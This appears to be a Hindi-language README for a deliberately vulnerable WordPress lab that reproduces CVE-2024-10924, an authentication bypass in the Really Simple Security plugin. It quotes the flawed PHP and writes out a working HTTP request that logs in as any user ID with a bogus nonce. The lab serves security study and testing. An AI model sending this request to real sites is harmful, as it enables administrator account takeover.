
चेतावनी: यह Really Simple Security < 9.1.2 प्रमाणीकरण बाईपास (CVE-2024-10924) के लिए एक्सप्लॉइट का परीक्षण करने हेतु एक कमजोर एप्लिकेशन है। इसे अपने जोखिम पर चलाएँ!
यह Really Simple Security < 9.1.2 प्रमाणीकरण बाईपास (CVE-2024-10924) के एक्सप्लॉइट का परीक्षण करने के लिए एक कमजोर अनुप्रयोग है।
इस अनुप्रयोग में गंभीर सुरक्षा कमजोरियाँ हैं। इसे अपने जोखिम पर चलाएँ! एक बैकअप और संरक्षित वातावरण (जैसे हालिया स्नैपशॉट और केवल होस्ट नेटवर्किंग वाली VM) का उपयोग करने की अनुशंसा की जाती है। इस अनुप्रयोग को किसी भी इंटरनेट-मुखी सर्वर पर अपलोड न करें, क्योंकि वे समझौता कर लिए जाएँगे।
अस्वीकरण: मैं इस अनुप्रयोग के उपयोग के तरीके के लिए कोई जिम्मेदारी नहीं लेता हूँ। इस अनुप्रयोग का एकमात्र उद्देश्य Really Simple Security < 9.1.2 प्रमाणीकरण बाईपास (CVE-2024-10924) एक्सप्लॉइट के लिए एक परीक्षण परिदृश्य होना है और इसका दुर्भावनापूर्ण उपयोग नहीं किया जाना चाहिए। यदि इस अनुप्रयोग की स्थापना के माध्यम से आपका सर्वर समझौता हो जाता है तो यह मेरी जिम्मेदारी नहीं है, यह उस व्यक्ति/व्यक्तियों की जिम्मेदारी है जिन्होंने इसे अपलोड और स्थापित किया।
यहाँ वातावरण को सेटअप करने के चरण हैं:
./up.sh चलाएँ।कंटेनर को vuln-wp-really-simple-security कहा जाएगा।
वातावरण को टियरडाउन करने के लिए ./down.sh कमांड या ./down_and_delete.sh कमांड का उपयोग करें ताकि इमेज और डेटाबेस का वॉल्यूम भी हटा दिया जाए।
समाधान पर एक नज़र डालने पर, यह समझना संभव है कि कमजोर संस्करण में, अमान्य लॉगिन नॉन्स के मामले में, check_login_and_get_user() फ़ंक्शन द्वारा पूरे ऑपरेशन को निरस्त किए बिना एक एरर ऑब्जेक्ट लौटाया गया था।
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
हालांकि, कॉलर में, check_login_and_get_user() फ़ंक्शन के आउटपुट पर कोई जाँच नहीं की गई (पंक्ति 277), बल्कि केवल authenticate_and_redirect() फ़ंक्शन (पंक्ति 278) के साथ इनपुट से प्राप्त उपयोगकर्ता आईडी के समान मान का उपयोग करके आगे बढ़ा गया।
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
कमजोरी का शोषण करने के लिए, निम्नलिखित जैसा अनुरोध पर्याप्त है।
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
फिर ब्राउज़र में लौटाए गए सत्र कुकीज़ को तदनुसार सेट करें।
user_id लक्ष्य उपयोगकर्ता का आईडी होना चाहिए, login_nonce कुछ भी हो सकता है क्योंकि गलत मान प्रक्रिया को अवरुद्ध नहीं करेगा।
Python में एक शोषण स्क्रिप्ट यहाँ पाई जा सकती है।
यह प्रोजेक्ट अनलाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।